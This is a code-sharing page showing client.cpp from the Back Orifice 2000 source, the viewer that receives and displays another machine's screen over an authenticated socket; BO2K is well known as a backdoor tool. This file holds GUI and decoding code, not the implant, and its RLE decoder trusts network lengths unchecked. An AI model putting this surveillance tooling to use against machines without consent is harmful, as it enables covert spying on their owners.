开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
client.cpp
资源名称：bo2ksrc.zip　[点击查看]
上传用户：jinandeyu
上传日期：2007-01-05
资源大小：620k
文件大小：20k
源码类别：

远程控制编程

开发平台：

WINDOWS

client.cpp：源码内容
  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  9.     This program is distributed in the hope that it will be useful,
  10.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  11.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12.     GNU General Public License for more details.
  14.     You should have received a copy of the GNU General Public License
  15.     along with this program; if not, write to the Free Software
  16.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  18. The author of this program may be contacted at dildog@l0pht.com. */
  20. #include<windows.h>
  21. #include<plugins.h>
  22. #include<bocomreg.h>
  23. #include<auth.h>
  24. #include<iohandler.h>
  25. #include<encryption.h>
  26. #include<config.h>
  27. #include"bo_peep.h"
  28. #include"client.h"
  29. #include<resource.h>
  31. typedef struct {
  32. // Windows
  33. HWND hParent;
  34. HWND hDialog;
  36. // View
  37. HDC  hViewDC;
  38. HBITMAP hbmView;
  39. HGDIOBJ hgdiold;
  40. BYTE *pcViewBits;
  41. BITMAPINFO biView;
  42. RGBQUAD rgbPal[255];
  43. int sizex;
  44. int sizey;
  45. RECT rVid;
  46. HBRUSH hbrBkgd;
  48. // Full
  49. int xscdim;
  50. int yscdim;
  51. BYTE *pcFullBits;
  53. // Misc
  54. DWORD dwLastTime;
  55. DWORD dwBytes;
  56. DWORD dwKsec;
  57. DWORD dwKRsec;
  59. CAuthSocket *pSock;
  60. WORD wFlags;
  61. DWORD dwFrameCount;
  62. HFONT hFont;
  63. HCURSOR hCursor;
  64. char svCaption[32];
  65. } VIDSTREAM_CONTEXT;
  67. typedef struct {
  68. HWND hParent;
  69. } THREAD_ARGS;
  72. #define WM_RESIZEVIEW (WM_USER+112)
  73. #define WM_RESIZEFULL (WM_USER+113)
  75. // VidStreamConnect: Prompts the user for connection information,
  76. // connects an authenticated socket, and updates the dialog box
  78. int VidStreamConnect(VIDSTREAM_CONTEXT *vscontext) 
  79. {
  80. // Update dialog box
  81. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,BM_SETCHECK,BST_CHECKED,0);
  82. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,WM_SETTEXT,0,(LPARAM)"Disconnect");
  84. // Create connection socket
  85. CAuthSocket *pSock=ConnectAuthSocket(InteractiveConnect,0,vscontext->hDialog,
  86. GetCfgStr(g_szAdvancedOptions,"VidStream Bind Str"),
  87. GetCfgStr(g_szAdvancedOptions,"VidStream Net Module"),
  88. GetCfgStr(g_szAdvancedOptions,"VidStream Encryption"),
  89. GetCfgStr(g_szAdvancedOptions,"VidStream Auth"));
  91. if(pSock==NULL) {
  92. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,BM_SETCHECK,BST_UNCHECKED,0);
  93. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,WM_SETTEXT,0,(LPARAM)"Connect...");
  94. return 0;
  95. } else if(pSock==(CAuthSocket *)0xFFFFFFFF) {
  96. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,BM_SETCHECK,BST_UNCHECKED,0);
  97. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,WM_SETTEXT,0,(LPARAM)"Connect...");
  98. return -1;
  99. }
  101. vscontext->pSock=pSock;
  102. vscontext->dwFrameCount=0;
  104. char svAddr[256];
  105. pSock->GetRemoteAddr(svAddr,256);
  106. lstrcpyn(vscontext->svCaption, svAddr, 32);
  108. return 1;
  109. }
  111. // VidStreamDisconnect: Shuts down any socket, and updates the dialog box
  113. BOOL VidStreamDisconnect(VIDSTREAM_CONTEXT *vscontext)
  114. {
  115. if(vscontext->pSock==NULL) return FALSE;
  117. vscontext->pSock->Close();
  118. delete vscontext->pSock;
  119. vscontext->pSock=NULL;
  121. RECT r;
  122. r.left=0;
  123. r.top=0;
  124. r.right=vscontext->sizex;
  125. r.bottom=vscontext->sizey;
  126. FillRect(vscontext->hViewDC,&r,vscontext->hbrBkgd);
  128. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,BM_SETCHECK,BST_UNCHECKED,0);
  129. SendDlgItemMessage(vscontext->hDialog,IDC_CONNECT,WM_SETTEXT,0,(LPARAM)"Connect...");
  131. InvalidateRect(vscontext->hDialog,&(vscontext->rVid),FALSE);
  132. UpdateWindow(vscontext->hDialog);
  134. return TRUE;
  135. }
  137. // RLEDecompress: Decompress RLE byte stream
  139. BOOL RLEDecompress(BYTE *pInBits, int nInLen, BYTE *pOutBits)
  140. {
  141. _asm {
  142. mov esi,dword ptr [pInBits]
  143. mov edi,dword ptr [pOutBits]
  144. mov edx,dword ptr [nInLen]
  145. xor ecx,ecx
  146. cld
  147. } 
  148. rleloop:; 
  149. _asm {
  150. // Get command byte
  151. mov cl, byte ptr [esi]
  152. inc esi
  153. dec edx
  155. // Check for repeat
  156. test cl,080h
  157. jz rlenorepeat
  159. // Repeat next byte
  160. and ecx,07Fh
  161. mov al,byte ptr [esi]
  162. inc esi
  163. dec edx
  164. rep stosb
  165. jmp rletail
  166. }
  167. rlenorepeat:; 
  168. _asm {
  169. // Copy literal byte string
  170. sub edx,ecx
  171. rep movsb
  172. }
  173. rletail:;
  174. _asm {
  175. // Loop until finished
  176. cmp edx,0
  177. jnz rleloop
  178. }
  180. return TRUE;
  181. }
  184. // VidStreamFullFrame: Handle full screen VidStream data
  186. void VidStreamFullFrame(VIDSTREAM_CONTEXT *vscontext, BYTE *pData, VIDSTREAM_HEADER *pHeader)
  187. {
  188. // Decompress full frame into back buffer
  189. RLEDecompress(pData,pHeader->dwSize,vscontext->pcFullBits);
  191. int nPitchX=vscontext->xscdim-vscontext->sizex;
  192. int sizex=vscontext->sizex/4;
  193. int sizey=vscontext->sizey;
  194. BYTE *fullpos=vscontext->pcFullBits+pHeader->wPosX+pHeader->wPosY*vscontext->xscdim;
  195. BYTE *viewpos=vscontext->pcViewBits;
  197. // Copy full screen into view buffer
  198. _asm {
  199. mov esi,dword ptr [fullpos]
  200. mov edi,dword ptr [viewpos]
  201. mov ecx,dword ptr [sizey]
  202. shl ecx,16
  203. }
  204. vscyloop:;
  205.  _asm {
  206.  mov cx, word ptr [sizex]
  207.  }
  208. vscxloop:;
  209.  _asm {
  210.  mov eax,dword ptr [esi]
  211.  mov dword ptr [edi],eax
  212.  
  213.  add edi,4
  214.  add esi,4
  215.  
  216.  dec cx
  217.  jnz vscxloop
  218.  add esi,dword ptr [nPitchX]
  219.  sub ecx,65536
  220.  jnz vscyloop
  221. }
  222. }
  224. // VidStreamDiffFrame: Handle diff screen VidStream data
  226. void VidStreamDiffFrame(VIDSTREAM_CONTEXT *vscontext, BYTE *pData, VIDSTREAM_HEADER *pHeader)
  227. {
  228. // Decompress diffs into view-size buffer
  229. RLEDecompress(pData,pHeader->dwSize,vscontext->pcViewBits);
  231. int nPitchX=vscontext->xscdim-vscontext->sizex;
  232. int sizex=vscontext->sizex/4;
  233. int sizey=vscontext->sizey;
  234. BYTE *fullpos=vscontext->pcFullBits+pHeader->wPosX+pHeader->wPosY*vscontext->xscdim;
  235. BYTE *viewpos=vscontext->pcViewBits;
  237. // XOR diffs into view buffer and store into full screen view 
  238. _asm {
  239. mov esi,dword ptr [fullpos]
  240. mov edi,dword ptr [viewpos]
  241. mov ecx,dword ptr [sizey]
  242. shl ecx,16
  243. }
  244. vsfyloop:;
  245. _asm {
  246. mov cx, word ptr [sizex]
  247. }
  248. vsfxloop:;
  249. _asm {
  250. mov eax,dword ptr [edi]
  251. xor eax,dword ptr [esi]
  252. mov dword ptr [edi],eax
  253. mov dword ptr [esi],eax
  255. add edi,4
  256. add esi,4
  258. dec cx
  259. jnz vsfxloop
  260. add esi,dword ptr [nPitchX]
  261. sub ecx,65536
  262. jnz vsfyloop
  263. }
  264. }
  266. // VidStreamViewRegion: Just pans around the full screen
  268. void VidStreamViewRegion(VIDSTREAM_CONTEXT *vscontext, VIDSTREAM_HEADER *pHeader)
  269. {
  270. int nPitchX=vscontext->xscdim-vscontext->sizex;
  271. int sizex=vscontext->sizex/4;
  272. int sizey=vscontext->sizey;
  273. BYTE *fullpos=vscontext->pcFullBits+pHeader->wPosX+pHeader->wPosY*vscontext->xscdim;
  274. BYTE *viewpos=vscontext->pcViewBits;
  276. // XOR diffs into view buffer and store into full screen view 
  277. _asm {
  278. mov esi,dword ptr [fullpos]
  279. mov edi,dword ptr [viewpos]
  280. mov ecx,dword ptr [sizey]
  281. shl ecx,16
  282. }
  283. vsvfyloop:;
  284. _asm {
  285. mov cx, word ptr [sizex]
  286. }
  287. vsvfxloop:;
  288. _asm {
  289. mov eax,dword ptr [esi]
  290. add esi,4
  291. mov dword ptr [edi],eax
  292. add edi,4
  294. dec cx
  295. jnz vsvfxloop
  296. add esi,dword ptr [nPitchX]
  297. sub ecx,65536
  298. jnz vsvfyloop
  299. }
  300. }
  304. // VidStreamDraw: Paints the VidStream viewport
  306. void VidStreamDraw(VIDSTREAM_CONTEXT *vscontext, VIDSTREAM_HEADER *pHeader)
  307. {
  308. int cx,cy;
  309. cx=pHeader->wCurPosX-pHeader->wPosX;
  310. cy=pHeader->wCurPosY-pHeader->wPosY;
  312. SetDIBits(vscontext->hViewDC,vscontext->hbmView,0,vscontext->sizey,vscontext->pcViewBits,&(vscontext->biView),DIB_RGB_COLORS);
  313. DrawIconEx(vscontext->hViewDC,cx,cy,vscontext->hCursor,0,0,0,NULL,DI_DEFAULTSIZE|DI_NORMAL);
  314. InvalidateRect(vscontext->hDialog,&(vscontext->rVid),FALSE);
  315. UpdateWindow(vscontext->hDialog);
  316. }
  319. // VidStreamDlgProc: Dialog Procedure for VidStream client
  321. BOOL CALLBACK VidStreamDlgProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
  322. {
  323. VIDSTREAM_CONTEXT *vscontext=(VIDSTREAM_CONTEXT *)GetWindowLong(hwndDlg,GWL_USERDATA);
  325. WORD wID,wNotifyCode;
  326. HWND hwndCtl;
  327. RECT r;
  328. PAINTSTRUCT ps;
  329. HDC hdc;
  330. HGDIOBJ hgdifont;
  331. int height,width,i;
  332. char svCaption[32];
  333. SYSTEMTIME st;
  335. switch(uMsg) {
  336. case WM_INITDIALOG:
  337. SetWindowLong(hwndDlg,GWL_USERDATA,(LONG)lParam);
  339. // Initialize VidStream context
  340. vscontext=(VIDSTREAM_CONTEXT *)lParam;
  341. vscontext->hDialog=hwndDlg;
  343. // View
  344. vscontext->sizex=160;
  345. vscontext->sizey=120;
  346. vscontext->hViewDC=CreateCompatibleDC(NULL);
  347. vscontext->hbmView=CreateCompatibleBitmap(GetDC(NULL),vscontext->sizex,vscontext->sizey);
  348. vscontext->hgdiold=SelectObject(vscontext->hViewDC,vscontext->hbmView);
  349. vscontext->pcViewBits=(BYTE *)malloc(vscontext->sizex*vscontext->sizey);
  350. memset(&(vscontext->biView.bmiHeader),0,sizeof(BITMAPINFOHEADER));
  351. vscontext->biView.bmiHeader.biSize=sizeof(BITMAPINFOHEADER);
  352. vscontext->biView.bmiHeader.biWidth=vscontext->sizex;
  353. vscontext->biView.bmiHeader.biHeight=-vscontext->sizey;
  354. vscontext->biView.bmiHeader.biPlanes=1;
  355. vscontext->biView.bmiHeader.biBitCount=8;
  356. vscontext->biView.bmiHeader.biCompression=BI_RGB;
  357. vscontext->biView.bmiHeader.biSizeImage=(vscontext->sizex*vscontext->sizey);
  358. for(i=0;i<256;i++) {
  359. vscontext->biView.bmiColors[i].rgbBlue=i;
  360. vscontext->biView.bmiColors[i].rgbGreen=i;
  361. vscontext->biView.bmiColors[i].rgbRed=i;
  362. vscontext->biView.bmiColors[i].rgbReserved=0;
  363. }
  364. vscontext->rVid.top=8;
  365. vscontext->rVid.bottom=vscontext->rVid.top+vscontext->sizey;
  366. width=max(80*2+8,vscontext->sizex)+(8*2)+4;
  367. height=8+vscontext->sizey+12+24+8+4;
  368. vscontext->rVid.left=(width/2)-(vscontext->sizex/2)-4;
  369. vscontext->rVid.right=vscontext->rVid.left+vscontext->sizex;
  370. vscontext->hbrBkgd=CreateSolidBrush(RGB(0,0,255));
  371. // Full
  372. vscontext->xscdim=640;
  373. vscontext->yscdim=480;
  374. vscontext->pcFullBits=(BYTE *)malloc(vscontext->xscdim*vscontext->yscdim);
  375. // Misc
  376. vscontext->pSock=NULL;
  377. vscontext->wFlags=0;
  378. vscontext->dwFrameCount=0;
  379. vscontext->hFont=CreateFont(-MulDiv(8, GetDeviceCaps(GetDC(NULL), LOGPIXELSY), 72),0,0,0,FW_NORMAL,FALSE,FALSE,FALSE,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_DONTCARE,"Arial");
  380. lstrcpyn(vscontext->svCaption,"not connected",32);
  381. vscontext->hCursor=(HCURSOR)LoadImage(g_hInstance,MAKEINTRESOURCE(IDC_REMOTEPOINTER),IMAGE_CURSOR,0,0,LR_DEFAULTSIZE);
  383. // Blue out display
  384. r.left=0;
  385. r.top=0;
  386. r.right=vscontext->sizex;
  387. r.bottom=vscontext->sizey;
  388. FillRect(vscontext->hViewDC,&r,vscontext->hbrBkgd);
  390. // Stats tracking
  391. vscontext->dwBytes=0;
  392. vscontext->dwLastTime=GetTickCount();
  393. vscontext->dwKsec=0;
  394. vscontext->dwKRsec=0;
  396. return TRUE;
  398. case WM_RESIZEVIEW:
  399. vscontext->sizex=LOWORD(lParam);
  400. vscontext->sizey=HIWORD(lParam);
  401. vscontext->wFlags=(WORD)wParam;
  403. // Deallocate view stuff
  404. SelectObject(vscontext->hViewDC,vscontext->hgdiold);
  405. DeleteObject(vscontext->hbmView);
  406. free(vscontext->pcViewBits);
  408. // View
  409. vscontext->hbmView=CreateCompatibleBitmap(GetDC(NULL),vscontext->sizex,vscontext->sizey);
  410. vscontext->hgdiold=SelectObject(vscontext->hViewDC,vscontext->hbmView);
  411. vscontext->pcViewBits=(BYTE *)malloc(vscontext->sizex*vscontext->sizey);
  412. vscontext->biView.bmiHeader.biWidth=vscontext->sizex;
  413. vscontext->biView.bmiHeader.biHeight=-vscontext->sizey;
  414. vscontext->rVid.top=8;
  415. vscontext->rVid.bottom=vscontext->rVid.top+vscontext->sizey;
  416. width=max(80*2+8,vscontext->sizex)+(8*2)+4;
  417. height=8+vscontext->sizey+12+24+8+4;
  418. vscontext->rVid.left=(width/2)-(vscontext->sizex/2)-4;
  419. vscontext->rVid.right=vscontext->rVid.left+vscontext->sizex;
  421. // Blue out display
  422. r.left=0;
  423. r.top=0;
  424. r.right=vscontext->sizex;
  425. r.bottom=vscontext->sizey;
  426. FillRect(vscontext->hViewDC,&r,vscontext->hbrBkgd);
  428. // Move and resize window elements
  429. vscontext->rVid.top=8;
  430. vscontext->rVid.bottom=vscontext->rVid.top+vscontext->sizey;
  431. width=max(80*2+8,vscontext->sizex)+(8*2)+4;
  432. height=8+vscontext->sizey+12+24+8+4;
  433. vscontext->rVid.left=(width/2)-(vscontext->sizex/2)-4;
  434. vscontext->rVid.right=vscontext->rVid.left+vscontext->sizex;
  436. // Main Window
  437. GetWindowRect(hwndDlg,&r);
  438. MoveWindow(hwndDlg,r.left,r.top,width,height+(24+12),TRUE);
  439. // Frame
  440. MoveWindow(GetDlgItem(hwndDlg,IDC_FRAME),vscontext->rVid.left-2,vscontext->rVid.top-2,
  441. vscontext->sizex+4,vscontext->sizey+4,TRUE);
  442. // Overlay checkbox
  443. MoveWindow(GetDlgItem(hwndDlg,IDC_OVERLAY),(width/2)-75,vscontext->rVid.bottom+4,150,14,TRUE);
  444. // Connect button
  445. MoveWindow(GetDlgItem(hwndDlg,IDC_CONNECT),(width/4)-(80/2),vscontext->rVid.bottom+24,80,24,TRUE);
  446. // Copy button
  447. MoveWindow(GetDlgItem(hwndDlg,IDC_COPY),(width*3/4)-(80/2)-4,vscontext->rVid.bottom+24,80,24,TRUE);
  449. InvalidateRect(hwndDlg,NULL,TRUE);
  451. return TRUE;
  453. case WM_RESIZEFULL:
  455. vscontext->xscdim=LOWORD(lParam);
  456. vscontext->yscdim=HIWORD(lParam);
  457. free(vscontext->pcFullBits);
  458. vscontext->pcFullBits=(BYTE *)malloc(vscontext->xscdim*vscontext->yscdim);
  459. memset(vscontext->pcFullBits,0,vscontext->xscdim*vscontext->yscdim);
  461. return TRUE;
  463. case WM_PAINT:
  464. hdc=BeginPaint(hwndDlg, &ps);
  466. if(SendDlgItemMessage(hwndDlg,IDC_OVERLAY,BM_GETCHECK,0,0)==BST_CHECKED) {
  467. hgdifont=SelectObject(vscontext->hViewDC,vscontext->hFont);
  468. r.left=1;
  469. r.top=vscontext->sizey-12;
  470. r.right=vscontext->sizex;
  471. r.bottom=vscontext->sizey;
  472. GetLocalTime(&st);
  474. DWORD dwTime=GetTickCount();
  475. if((dwTime-vscontext->dwLastTime)>=1000) {
  476. DWORD dwBsec;
  477. dwBsec=(vscontext->dwBytes*1000)/(dwTime-vscontext->dwLastTime);
  478. vscontext->dwKsec=dwBsec/1024;
  479. vscontext->dwKRsec=((dwBsec%1024)*1000)/102400;
  480. vscontext->dwBytes=0;
  481. vscontext->dwLastTime=dwTime;
  482. }
  485. wsprintf(svCaption,"%.22s %2.2u:%2.2u:%2.2u %d.%dk/sec",vscontext->svCaption, st.wHour,st.wMinute,st.wSecond,vscontext->dwKsec,vscontext->dwKRsec);
  486. SetBkColor(vscontext->hViewDC,RGB(0,0,0));
  487. SetTextColor(vscontext->hViewDC,RGB(255,255,255));
  488. DrawText(vscontext->hViewDC,svCaption,-1,&r,DT_SINGLELINE|DT_CENTER);
  489. SelectObject(vscontext->hViewDC,hgdifont);
  490. }
  491. BitBlt(hdc,vscontext->rVid.left,vscontext->rVid.top,vscontext->sizex,vscontext->sizey,vscontext->hViewDC,0,0,SRCCOPY);
  493. EndPaint(hwndDlg,&ps);
  495. break;
  496. case WM_CLOSE:
  497. PostQuitMessage(0);
  498. return TRUE;
  500. case WM_COMMAND:
  501. wNotifyCode = HIWORD(wParam); // notification code 
  502. wID = LOWORD(wParam);         // item, control, or accelerator identifier 
  503. hwndCtl = (HWND) lParam;      // handle of control 
  504. switch(wID) {
  505. case IDC_CONNECT:
  506. if(vscontext->pSock==NULL) {
  507. if(VidStreamConnect(vscontext)==-1) {
  508. MessageBox(vscontext->hDialog,"Could not connect to VidStream address.n","Connection error",MB_OK|MB_SETFOREGROUND|MB_TOPMOST|MB_ICONWARNING);
  509. }
  510. } else {
  511. VidStreamDisconnect(vscontext);
  512. }
  513. return TRUE;
  514. case IDC_COPY:
  515. {
  516. HANDLE hmem=GlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE,sizeof(BITMAPINFOHEADER)+(256*4)+(vscontext->sizex*vscontext->sizey));
  517. BYTE *pmem=(BYTE *)GlobalLock(hmem);
  518. memcpy(pmem,&(vscontext->biView),sizeof(BITMAPINFOHEADER)+(256*4));
  519. ((BITMAPINFOHEADER *)pmem)->biHeight=-((BITMAPINFOHEADER *)pmem)->biHeight;
  520. // Invert into memory
  521. for(i=0;i<vscontext->sizey;i++) {
  522. memcpy(pmem+sizeof(BITMAPINFOHEADER)+(256*4)+(i*vscontext->sizex),vscontext->pcViewBits+((vscontext->sizey-1)-i)*vscontext->sizex,vscontext->sizex);
  523. }
  524. GlobalUnlock(hmem);
  526. if(OpenClipboard(NULL)) {
  527. EmptyClipboard();
  528. SetClipboardData(CF_DIB,hmem);
  529. CloseClipboard();
  530. }
  531. else {
  532. GlobalFree(hmem);
  533. }
  534. }
  535. return TRUE;
  537. }
  538. return FALSE;
  539. case WM_DESTROY:
  540. DestroyCursor(vscontext->hCursor);
  541. free(vscontext->pcViewBits);
  542. free(vscontext->pcFullBits);
  543. SelectObject(vscontext->hViewDC,vscontext->hgdiold);
  544. DeleteObject(vscontext->hbmView);
  545. DeleteObject(vscontext->hbrBkgd);
  546. DeleteDC(vscontext->hViewDC);
  547. if(vscontext->pSock!=NULL) VidStreamDisconnect(vscontext);
  548. DeleteObject(vscontext->hFont);
  549. return TRUE;
  550. }
  552. return FALSE;
  553. }
  555. // VidStreamThread: Desktop streaming client thread
  557. DWORD WINAPI VidStreamThread(THREAD_ARGS *pArgs)
  558. {
  559. HWND hParent,hVidStreamDlg;
  561. // Thread housekeeping
  562. InterlockedIncrement(&g_nNumThreads);
  563. hParent=pArgs->hParent;
  564. free(pArgs);
  566. // Create context to keep vidstream info
  567. VIDSTREAM_CONTEXT *vscontext=(VIDSTREAM_CONTEXT *) malloc(sizeof(VIDSTREAM_CONTEXT));
  568. if(vscontext==NULL) {
  569. InterlockedDecrement(&g_nNumThreads);
  570. return -1;
  571. }
  572. vscontext->hParent=hParent;
  573. vscontext->pSock=NULL;
  575. // Create vidstream window
  576. hVidStreamDlg=CreateDialogParam(g_hInstance,MAKEINTRESOURCE(IDD_VIDSTREAMDLG),hParent,VidStreamDlgProc,(LPARAM)vscontext);
  577. // Adjust window size
  578. SendMessage(hVidStreamDlg,WM_RESIZEVIEW,0,MAKELONG(160,120));
  579. UpdateWindow(hVidStreamDlg);
  581. MSG msg;
  582. while(g_bActive) {
  583. Sleep(20);
  585. // ---------------- Handle message processing ----------------
  586. if(PeekMessage(&msg,NULL,0,0,PM_REMOVE)) {
  587. if(msg.message==WM_QUIT) goto donehiclient;
  588. TranslateMessage(&msg);
  589. DispatchMessage(&msg);
  590. }
  592. // --------------- Handle vidstream socket ------------------
  593. if(vscontext->pSock==NULL) continue;
  595. // Get VidStream frame header
  596. CAuthSocket *pSock=vscontext->pSock;
  597. VIDSTREAM_HEADER *pHeader;
  598. int nSize,nRet;
  599. if((nRet=pSock->Recv((BYTE **)&pHeader,&nSize))>0) {
  600. vscontext->dwBytes+=(DWORD)nSize;
  601. if(nSize<sizeof(VIDSTREAM_HEADER)) {
  602. pSock->Free((BYTE*)pHeader);
  603. continue;
  604. }
  605. if(pHeader->dwSize>0) {
  606. // Get rest of VidStream frame
  607. BYTE *pData=(BYTE *)malloc(pHeader->dwSize);
  608. if(pData==NULL) {
  609. pSock->Free((BYTE*)pHeader);
  610. break;
  611. }
  613. int i=0;
  614. while(i<(int)pHeader->dwSize) {
  615. BYTE *pFrame;
  616. while((nRet=pSock->Recv(&pFrame,&nSize))==0) 
  617. Sleep(20);
  618. if(nRet<0) {
  619. MessageBox(vscontext->hDialog,"VidStream connection lost.n","Connection error",MB_OK|MB_SETFOREGROUND|MB_TOPMOST|MB_ICONWARNING);
  620. break;
  621. }
  622. vscontext->dwBytes+=(DWORD)nSize;
  623. memcpy(pData+i,pFrame,nSize);
  624. pSock->Free(pFrame);
  625. i+=nSize;
  626. }
  627. if(nRet<0) break;
  629. // ------------- Check type of packet ------------------
  630. if(pHeader->wFlags & VHF_FULLFRAME) {
  631. // Resize fullscreen if necessary
  632. if((pHeader->wSizeX != vscontext->xscdim) ||
  633. (pHeader->wSizeY != vscontext->yscdim)) {
  634. SendMessage(hVidStreamDlg,WM_RESIZEFULL,0,MAKELONG(pHeader->wSizeX,pHeader->wSizeY));
  635. }
  637. VidStreamFullFrame(vscontext, pData, pHeader);
  639. } else if(pHeader->wFlags & VHF_FRAMEDIFF) {
  640. // Resize viewport if necessary
  641. if((pHeader->wSizeX != vscontext->sizex) ||
  642. (pHeader->wSizeY != vscontext->sizey)) {
  643. SendMessage(hVidStreamDlg,WM_RESIZEVIEW,(WPARAM)pHeader->wFlags,MAKELONG(pHeader->wSizeX,pHeader->wSizeY));
  644. }
  646. VidStreamDiffFrame(vscontext, pData, pHeader);
  647. }
  648. free(pData);
  649. } else {
  650. // Resize viewport if necessary
  651. if((pHeader->wSizeX != vscontext->sizex) ||
  652. (pHeader->wSizeY != vscontext->sizey)) {
  653. SendMessage(hVidStreamDlg,WM_RESIZEVIEW,(WPARAM)pHeader->wFlags,MAKELONG(pHeader->wSizeX,pHeader->wSizeY));
  654. }
  655. VidStreamViewRegion(vscontext,pHeader);
  656. }
  658. // ------------- Draw Frame ------------
  659. VidStreamDraw(vscontext,pHeader);
  661. // ------------- Clean up -------------
  662. pSock->Free((BYTE *)pHeader);
  664. }
  666. if(nRet<0) {
  667. // Disconnect on error
  668. VidStreamDisconnect(vscontext);
  669. }
  670. }
  671. donehiclient:;
  672. DestroyWindow(hVidStreamDlg);
  674. free(vscontext);
  675. InterlockedDecrement(&g_nNumThreads);
  677. return 0;
  678. }
  681. int CreateVidStreamClient(HWND hParent)
  682. {
  683. DWORD dwtid;
  684. HANDLE htd;
  686. THREAD_ARGS *pArgs=(THREAD_ARGS *) malloc(sizeof(THREAD_ARGS));
  687. if(pArgs==NULL) return NULL;
  689. pArgs->hParent=hParent;
  690. htd=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)VidStreamThread,pArgs,0,&dwtid);
  691. if(htd==NULL) {
  692. return -1;
  693. }
  694. CloseHandle(htd);
  696. return 0;
  697. }